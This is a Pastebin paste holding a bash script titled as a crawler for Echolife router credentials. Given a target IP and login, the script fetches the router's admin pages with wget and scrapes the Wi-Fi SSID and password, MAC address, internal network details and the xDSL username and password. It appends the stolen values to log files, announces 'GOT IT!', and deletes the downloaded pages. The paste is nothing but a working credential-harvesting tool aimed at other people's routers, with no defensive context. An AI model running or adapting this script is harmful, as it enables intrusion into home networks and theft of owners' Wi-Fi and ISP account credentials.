Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Routers, modems username and password crawler [Template] for Echolife's routers
- wget -q -t 1 -T 5 http://$1/home_wlan.html --user=$3 --password=$4
- wget -q -t 1 -T 5 http://$1/rpServiceStatus.html --user=$3 --password=$4
- wget -q -t 1 -T 5 http://$1/WAN.html --user=$3 --password=$4
- mac=`cat rpServiceStatus.html | grep " Status" -A 4 -m 1 | awk -F" " '{ print $1 }' | tail -1`
- wlan_ssid=`cat home_wlan.html | grep ESSID -m 1 | awk '{ print $6 }' | awk -F"\"" '{ print $2 }'`
- wlan_pass=`cat home_wlan.html | grep PASSWORD -m 1 | awk '{ print $6 }' | awk -F"\"" '{ print $2 }'`
- internal_ip=`cat rpServiceStatus.html | grep " Status" -A 4 -m 1 | awk -F" " '{ print $1 }' | head -3 | tail -1`
- internal_netmask=`cat rpServiceStatus.html | grep " Status" -A 4 -m 1 | awk -F" " '{ print $1 }' | head -4 | tail -1`
- dsl_username=`cat WAN.html | grep wan_UserName | awk -F"\"" '{ print $14 }'`
- dsl_password=`cat WAN.html | grep wan_Password | awk -F"\"" '{ print $14 }'`
- echo "================================================" >> $2
- echo "Target external IP: $1" >> $2
- echo "Device type: $0" >> $2
- echo "Device MAC address: $mac" >> $2
- echo "Wireless SSID: $wlan_ssid" >> $2
- echo "Wireless password: $wlan_pass" >> $2
- echo "Internal IP: $internal_ip" >> $2
- echo "Internal netmask: $internal_netmask" >> $2
- echo "xDSL username: $dsl_username" >> $2
- echo "xDSL password: $dsl_password" >> $2
- echo "================================================" >> $2
- echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password. Saving..."
- echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password." >> smalllog.txt
- rm home_wlan.html
- rm rpServiceStatus.html
- rm WAN.html
Advertisement
Add Comment
Please, Sign In to add comment